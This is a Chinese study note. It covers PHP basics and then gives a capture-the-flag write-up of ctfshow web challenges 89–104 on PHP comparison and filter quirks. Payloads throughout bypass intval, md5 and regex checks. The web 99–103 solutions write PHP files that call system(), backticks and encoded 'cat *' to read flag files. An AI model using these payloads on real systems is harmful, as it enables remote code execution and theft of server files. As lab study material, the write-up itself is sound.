一、了解PHP语言
PHP 语法 | 菜鸟教程
PHP(全称:PHP:Hypertext Preprocessor,即"PHP:超文本预处理器")是一种通用开源脚本语言。
- PHP 是一门弱类型语言,PHP 会根据变量的值,自动把变量转换为正确的数据类型。(强类型就比如c语言,要事先声明变量和类型)
PHP语法
- PHP 脚本可以放在文档中的任何位置。
- PHP 脚本以 <?php 开始,以 ?> 结束;
- PHP 文件的默认文件扩展名是 .php。
- PHP 文件通常包含 HTML 标签和一些 PHP 脚本代码。
- PHP 中的每个代码行都必须以分号结束。分号是一种分隔符,用于把指令集区分开。
- 通过 PHP,有两种在浏览器输出文本的基础指令:echo 和 print。
<!DOCTYPE html>
<html>
<body><h1>标题一</h1><?php
echo "Hello World!";
?></body>
</html>
PHP中的注释
- // 单行注释
- /*多行注释*/
PHP变量
- 变量以 $ 符号开始,后面跟着变量的名称
- 变量名必须以字母或者下划线字符开始
- 变量名只能包含字母、数字以及下划线(A-z、0-9 和 _ )、不能包含空格
- 变量名是区分大小写的($y 和 $Y 是两个不同的变量)
PHP弱类型和强类型
PHP弱类型和强类型_php 强类型-CSDN博客
php是一种弱类型语言,对数据的类型要求并不严格,可以让数据类型互相转换。
php其中的两种比较符号:
==:先将字符串类型转换相同,再比较。(松散比较)(只比较值,不比较数据类型)
===:先判断两种字符串的类型是否相等,再比较。(进行严格的类型和值比较)
1.弱类型比较(==)
若字符型值开头为数字,转为数字;
若开头不为数字,为 null 弱比较,与 0 相等。
"123abc"==123 => true
''abc123''==123 => false
''abc123''==0 => true
绕过方法:
(1)使用md5绕过
常见的MD5碰撞:md5值为0e开头_md5 0e开头-CSDN博客
php中存在== 弱类型比较,可通过hash比较的缺陷绕过
hash比较的缺陷:
两个数的md5加密后的值以0e开头就可以绕过
因为以0e开头的数会被认为是科学计数法,0e+任何数 在科学计数法中都是0,故两数相等
(2)使用数组绕过
由于md5()函数存在缺陷,加密[]的时候返回值如果是NULL,就能成功的绕过
2.强类型比较(===)
当两个操作数的类型和值完全相等时,才会返回true,否则返回false。
"123abc"==="123abc" => true
绕过方法:使用数组绕过
PHP类与对象
PHP类与对象
二、web入门php特性(ctfshow)
https://www.cnblogs.com/sen-y/p/15579061.html#_label0_1
web 89
include("flag.php");
highlight_file(__FILE__);if(isset($_GET['num'])){ //get传参num$num = $_GET['num'];if(preg_match("/[0-9]/", $num)){ //正则过滤了0到9的数字die("no no no!");}if(intval($num)){echo $flag;}
}
intval() 的返回值是整型,1或0
作用于数组时:当数组为空,返回值是0,不为空则为1 无报错
可用数组绕过: ?num[]=1
web 90
intval()函数
PHP intval()函数详解,intval()函数漏洞原理及绕过思路
intval() 函数可以获取变量的整数值,常用于强制类型转换。
语法:
int intval( $var, $base ) $var:需要转换成 int整型 的变量 $base:转换所使用的进制 $base 允许为空 当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。$var 以 0 开头,使用 8进制$var 以0x开头,使用 16进制否则,使用 10进制
当某个数字被过滤时,可以使用它的其他进制来绕过。
if(intval($num,0)===4476){ base=0,所以会对num的格式进行检测
echo $flag;
可使用4476的其他进制来绕过
十进制表示:在数字后面加任意字母
?num=4476a十六进制表示:在数字前加0x
?num=0x117c八进制表示:在数字前加0
?num=010574
web 91
if(preg_match('/^php$/im', $a)) ...echo $flag; 1 /i表示匹配大小写
2 字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
3 m(more):多行匹配若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
e.g
$str = "abc\nabc"; $preg = "/^abc$/m"; preg_match($preg, $str,$matchs);
符合正则表达式。
因为匹配的时候 先匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
%0a为换行符
web 92
法一:
与web90一样,使用4476的其他进制绕过
法二:
此处为==弱类型比较,可用科学计数法绕过
PHP在处理字符串时的一个缺陷:
e这个字母比较特殊,在PHP中会被当作科学计数法。
可以构造4476e123
,被认为是科学计数法
intval()函数处理时遇到字母就停止,所以只读取4476
而不是4476e123
,从而绕过
web 93
法一:
if(preg_match("/[a-z]/i", $num))
正则过滤了字母,故不能用十六进制(0x...)十进制(...a),可用八进制(0...)
?num=010574
法二:
intval() 函数会将传入的小数直接取整,从而实现绕过
?num=4476.1
web 94
strpos()函数
strpos() 函数返回字符串在另一字符串中第一次出现的位置
语法
strpos(string,find,start) string 必需。规定要搜索的字符串。 find 必需。规定要查找的字符串。 start 可选。规定在何处开始搜索。
e.g
if(preg_match("/[a-z]/i", $num))
正则过滤了字母,不能使用进制转换if(!strpos($num, "0"))
返回字符串0在$num中第一次出现的位置,故传入的参数的第一位不能为0,如果是0,就返回die
故也不能简单使用八进制
法一:
使用intval() 函数匹配 换行%0a 后的八进制4476,从而绕过strpos() 函数
?num=%0a010574
法二:
让第一位为空格,绕过strpos() 函数匹配的第一位0
%20表示空格字符的URL编码
?num= 010574(空格+010574)
?num=%20010574
法三:
使用intval() 函数 将传入的小数直接取整,从而绕过
?num=4476.0
web 95
此处正则多过滤了小数点,所以不能再用小数绕过
?num=%0a010574
?num= 010574(空格+010574)
?num=%20010574
web 96
若?u=flag.php,则返回no no no
但得到flag需触发高亮显示,故可使用
/?u=/var/www/html/flag.php 绝对路径
/?u=./flag.php 相对路径
/?u=php://filter/resource=flag.php php伪协议 在linux中,./表示当前目录
web 97
POST传参a和b,如果a的值不等于b,但是a与b的MD5值相等 则返回flag
可利用md5()函数加密[]的时候返回值为NULL绕过
POST: a[]=1&b[]=2
web 98
PHP 三元运算符
语法
aaa? bbb: ccc 对 aaa 求值为 TRUE 时的值为 bbb, 对 aaa 求值为 FALSE 时的值为 ccc。
自 PHP 5.3 起,可以省略三元运算符中间那部分。
表达式 aaa?: ccc 在 aaa 求值为 TRUE 时返回 bbb,否则返回 ccc
e.g
<?php // 普通写法 $username = isset($_GET['user']) ? $_GET['user'] : 'no no no'; echo $username, PHP_EOL;// PHP 5.3+ 版本写法 //PHP_EOL 是一个换行符,兼容更大平台。 $username = $_GET['user'] ?: 'no no no'; echo $username, PHP_EOL; ?>
//&是引用符号:不同的名字访问同一个变量内容。
代码审计:
$_GET ? $_GET=&$_POST : 'flag';//如果有get传参,就返回flag。否则等于post的值
//如果存在get方式,就把post的地址传给get(&)
highlight_file ( $_GET['HTTP_FLAG']=='flag' ? $flag : __FILE__)如果有GET传参'HTTP_FLAG=flag',就高亮显示flag highlight_file($flag)。否则highlight_file(__FILE__)
故需要GET传参(随便什么都行);存在了GET方式 就需要POST传参将HTTP_FLAG=flag传给get。
GET传参:/?1
POST传参:HTTP_FLAG=flag
web 99
<?php
highlight_file(__FILE__);
//初始化一个空数组$allow,这个数组将被用来存储一系列数字。
$allow = array();//for循环,从36开始,直到0x36d(十六进制表示,等于877),每次循环将i递增1。
for ($i=36; $i < 0x36d; $i++) {
//在每一次循环中,使用rand(1,$i)生成一个介于1和当前$i之间的随机数,并将其添加到$allow数组中。array_push($allow, rand(1,$i));
}//条件判断语句,检查$_GET['n']这个变量是否被设置,并且它的值是否在$allow数组中。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){//如果上述条件为真,则将$_POST['content']中的数据写入到文件$_GET['n']中file_put_contents($_GET['n'], $_POST['content']);
}
?>
函数:
$allow = array(); //创建一个空数组allow
array_push() 函数:向第一个参数的数组尾部添加一个或多个元素(入栈)
rand() 函数:返回随机整数。
isset() 函数:检测变量是否已设置并且非 NULL。
in_array()函数:搜索数组中是否存在指定的值。
file_put_contents() 函数:把一个字符串写入文件中。
如果文件不存在,将创建一个文件
如果成功,该函数将返回 写入文件中的字符数。如果失败,则返回 False。
GET传参:?n=1.php
POST传参:content=<?php system('ls');?>
之后再访问1.php即可查看当前目录
GET传参:?n=2.php
POST传参:content=<?php system('tac flag36d.php');?>
之后再访问2.php即可得到flag
试过cat,应该被过滤了
web 100
// 高亮显示当前文件
highlight_file(__FILE__);// 包含ctfshow.php文件,其中可能定义了ctfshow类
include("ctfshow.php");// 注释中提到flag在ctfshow类中// 创建ctfshow类的一个实例化对象ctfshow
$ctfshow = new ctfshow();// GET传参v1, v2, v3
$v1 =$_GET['v1'];
$v2 =$_GET['v2'];
$v3 =$_GET['v3'];// 检查v1, v2, v3是否都是数字
$v0 = is_numeric($v1) && is_numeric($v2) && is_numeric($v3);// 如果v1, v2, v3都是数字
if ($v0) {// 检查v2中是否不包含分号if (!preg_match("/\;/", $v2)) {// 检查v3中是否包含分号if (preg_match("/\;/", $v3)) {// 使用eval执行$v2('ctfshow')$v3,这是调用ctfshow类的方法eval("$v2('ctfshow')$v3");}}
}
= 的优先级高于and 和 or
is_numeric() 函数:用于检测变量是否为数字或数字字符串。
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
构建payload:(GET传参)
?v1=1&(为数字即可)
v2=print_r($ctfshow)&
print_r($ctfshow); //输出对象ctfshowvar_dump($ctfshow);
v3=;
此处v3直接传分号;可以 看了大佬wp还可以使用以下2种方法:
/?v1=1&v2=var_dump($ctfshow)/*&v3=*/; //利用注释符号/**/
或
/?v1=1&v2=&v3=?><?=`tac ctfshow.php`; //反引号执行命令
flag_is_a9907a350x2dd3060x2d4bf70x2db2a20x2d64f8c70228fb
0x2d是一个十六进制数,在ASCII码表中,它代表连字符 -
故flag应为:ctfshow{9907a35-d306-4bf7-b2a2-64f8c70228fb}
web 101
// 注释中提到flag在ctfshow类中
// flag in class ctfshow;
在上一题的基础上,对 v2 和 v3 新增了很多的过滤
$和\*
以及反引号也都被过滤了,所以不可以直接输出对象ctfshow、不可以注释、不可以反引号执行。可采用反射类的方法:
?v1=1&v2=echo new ReflectionClass&v3=;
查看提示:最后一位需要爆破16次,题目给的flag少一位
故替换掉 0x2d 得到flag后再使用bp抓包爆破一下即可。
PHP反射类
ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作。(故输出使用echo)
e.g
<?php class hhh //定义一个类hhh { static function method(){echo 'Hello World!';} } $h = new ReflectionClass('hhh'); //建立hhh类的反射类 echo $h; //输出反射类后的hhh类 $hhh = $h->newInstance(); //通过反射类实例化hhh类为对象 print_r($hhh); //输出对象hhh $hhh->method(); //执行类方法 ?>
反射类不仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。
因此可以通过建立反射类
new ReflectionClass(system('cmd'))
来执行命令。
web 102
代码审计
highlight_file(__FILE__);
$v1 =$_POST['v1']; // POST传参v1
$v2 =$_GET['v2']; // GET传参v2和v3
$v3 =$_GET['v3'];// 检查v2和v3是否都是数字
$v4 = is_numeric($v2) && is_numeric($v3);// 如果v2和v3都是数字,执行以下操作
if ($v4) {// 从v2中截取从第2个字符开始的子字符串$s = substr($v2, 2);// 使用变量v1作为函数名,并调用它,将$s作为参数传递$str = call_user_func($v1,$s); echo $str; // 输出处理后的字符串// 将处理后的字符串写入文件v3file_put_contents($v3,$str);} // 如果v2或v3不是数字,输出'hacker'并终止脚本
else {die('hacker');
}
substr()函数:
substr() 可以截取字符串
语法
string substr( $str, start, length);$str :被截取的字符串。start :开始截取的位置。length :截取的长度。
返回值
截取成功,就返回截取的字符串
start 超过字符串长度,就返回 false
start 和 length 设置成不合理的截取范围,就返回空字符串substr((xxx),1,1):表示从第1个字母开始,显示1个字母,从1开始计数
call_user_func()函数:
call_user_func(callback,parameter ) 是一个回调函数
第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
会把参数过一下回调函数。
file_put_contents()函数:
file_put_contents() 函数把一个字符串写入文件中。
语法:
file_input_contents(file,data,mode,context);file 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 data 可选。规定要写入文件的数据。可以是字符串、数组或数据流。 mode 可选。规定如何打开/写入文件。可能的值:FILE_USE_INCLUDE_PATH ; FILE_APPEND ; LOCK_EX context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。
$s = substr($v2,2); 从v2中截取从第2个字符开始的子字符串
$str = call_user_func($v1,$s); $v1是函数,$s是参数
file_put_contents($v3,$str); 给v3要传入一个文件名字,这样才能构造出来一个接受$str的文件
$v1:使用hex2bin()作为回调函数(hex2bin()函数:将十六进制字符串转换为ASCII字符)
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件1.php
查看大佬wp,构造payload:
v1=hex2bin
$a=<?=`cat *`;
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //bin2hex是把ASCII 字符的字符串转化为16进制输出 5044383959474e6864434171594473
//带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
v2=005044383959474e6864434171594473
访问1.php文件,查看源代码得到flag
web 103
正则过滤了.*p.*h.*p.*
还是与web102一样
payload;
GET:?v2=005044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.php
POST:v1=hex2bin
访问1.php,查看源代码
web 104
存在==弱比较,且sha1与md5类似都无法处理数组
故可用数组、0e绕过
payload:
POST:v1=[]1 或v1=0e76658526655756207688271159624026011393
GET:v2=[]2 v2=0e89257456677279068558073954252716165668